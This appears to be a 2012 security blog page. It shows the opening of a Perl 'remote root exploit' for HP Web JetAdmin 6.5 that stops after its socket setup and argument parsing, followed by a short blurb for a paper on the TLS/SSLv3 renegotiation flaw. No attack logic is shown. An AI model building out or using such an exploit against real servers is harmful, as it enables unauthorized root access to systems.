Wednesday, September 19, 2012

HP Web JetAdmin 6.5 Remote Root Exploit

HP Web JetAdmin 6.5 Remote Root Exploit

#!/usr/bin/perl

use IO::Socket;
#
# This is an exploit for HP Web JetAdmin, the printer management server from HP.
# It is NOT about printers! The service usually runs on port 8000 on Windows,
# Solaris or Linux boxes.
#
# Greetz: The Phenoelit People, c-base crew, EEyE (rock!), Halvar on the other
#         side of the planet, Johnny, Andreas, Lisa, H D Moore, Nicolas
#         Fishbach and all the others I forgot
#
$|=1;
die "Specify server name or IP\n" unless ($host=shift);
#
# lala stuff
#

Tuesday, September 18, 2012

TLS / SSLv3 renegotiation vulnerability Paper


TLS / SSLv3 renegotiation vulnerability explained. 

  This paper explains the vulnerability for a broader audience and summarizes the information that is currently available. The document is prone to updates and is believed to be accurate by the time of writing.